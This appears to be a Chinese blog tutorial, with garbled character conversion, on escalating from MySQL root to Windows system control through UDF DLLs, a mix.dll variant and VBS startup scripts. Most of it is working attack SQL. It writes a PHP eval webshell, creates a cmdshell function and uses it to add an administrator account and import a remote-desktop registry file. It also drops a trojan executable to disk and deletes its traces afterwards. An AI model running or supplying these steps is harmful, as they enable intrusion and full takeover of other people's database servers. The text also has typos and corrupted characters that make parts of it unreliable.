1.udf介紹
udf(user-defined function)是mysql的乙個拓展介面,也稱為自定義函式。
2. udf提權條件
1)目標系統是windows(win2000,xp,win2003)
2)可以將udf.dll寫入到相應目錄的許可權。(如果
mysql版本大於5.1版本,udf.dll檔案必須放置於mysql安裝目錄下的lib\plugin資料夾下。如果
mysql版本小於5.1版本,udf.dll檔案在windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32.)
3)已經擁有mysql的某個使用者賬戶,此賬號必須有對mysql的insert和delete許可權以建立和拋棄函式(mysql文件原語),一般以root賬號為佳,具備root賬號所具備的許可權的其它賬號也可以。
3.提權方法(有webshell的udf提權、無webshell的udf提權)
前提:root許可權 目的:獲取系統許可權 總結:udf提權專用webshell, 匯出dll, 再執行命令
1)通過webshell讀取資料庫配置檔案,獲取資料庫連線使用者名稱密碼
2)上傳udf.dll
select '<?php eval($_post['jim'];?>' into outfile 'f:/web/bak.php'; //寫入檔案
select load_file(木馬的十六進製制**) from user into outfile 'd:/web/iis.txt' //匯出檔案
3)執行sql
create fucntion cmdshell returns string soname "udf.dll"; //建立cmdshell函式
select cmdshell ('net user aaa 123 /add'); //執行cmd命令
select cmdshell ('net localgroup administrators aaa /add');
select cmdshell ('regedit /s d:\web\3389.reg');
select cmdshell('netstat -an');
drop function cmdshell; //刪除cmdshell函式,清除痕跡
select @@plugin_dir
select version(); //顯示資料庫版本
select @@basedir //獲取mysql安裝目錄
select user(); //獲取當前使用者
二、mix.dll提權
1.獲取root許可權
2.把dll放到系統目錄
create table mix(abc longblob);
insert into mix values(load_file('d:\\web\\
udf.dll
')); //讀檔案
select * from mix into outfile 'c:\\windows\\system32\\
udf.dll
'; 、寫檔案
3.建立函式,執行系統命令
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user aaa 123 /add');
select cmdshell('net localgroup administrators aaa /add');
select cmdshell('net user');
4.刪除函式,清除痕跡
drop table if exists mix;
三、vbs啟動項提權
1.webshell連線資料庫
2.執行sql
create table vbs (cmd text); //建立表
insert into vbs values ("set cmdshell=createobject ("wscript.shell")");
insert into vbs values ("a=cmdshell.run("cmd.exe /c net user aaa 123 /add",0)");
insert into vbs valuse ("b=cmdshell.run("cmd.exe /c net localgroup administrators aaa /add",0)");
select * from vbs into outfile "c:\\users\\a.vbs"; //匯入啟動項
drop table vbs; //刪除表
或者create table class (cmd blob);
insert into class values (convert(木馬的十六進製制,char));
select * from class into dumpfile 'c:\\users\\mm.exe';
drop table class;
UDF提權 mysql外掛程式學習筆記
以前看過一篇老外的文章講mysql udf提權原理,這篇文章中針對kali自帶的mysql 提權udf.dll進行了解釋,但是並沒有介紹如何編寫乙個標準的udf擴充套件。後來有個朋友託我幫他改下udf.dll,把其他功能去掉,只留下cmd shell這個命令執行的功能 開始我以為隨便寫個dll,然後...
linux下 udf提權 mysql udf提權
前言 udf user defined function 即 使用者自定義函式 檔案字尾為 dll 常用c語言編寫。通過在udf檔案中定義新函式,對mysql的功能進行擴充,可以執行系統任意命令。將mysql賬號root轉化為系統system許可權。思路 1.將udf檔案上傳到指定位置 sqlmap...
udf提權的適用環境
自己只遇到過windows mysql,所以一直以為只適用這個環境 多虧有人提醒,才發現udf提權並不限於此環境,而是同時適用於windows和linux環境,且支援mysql和postgresql 很久沒有進行提取,都忘記udf的含義了。複習下 user defined function udf提...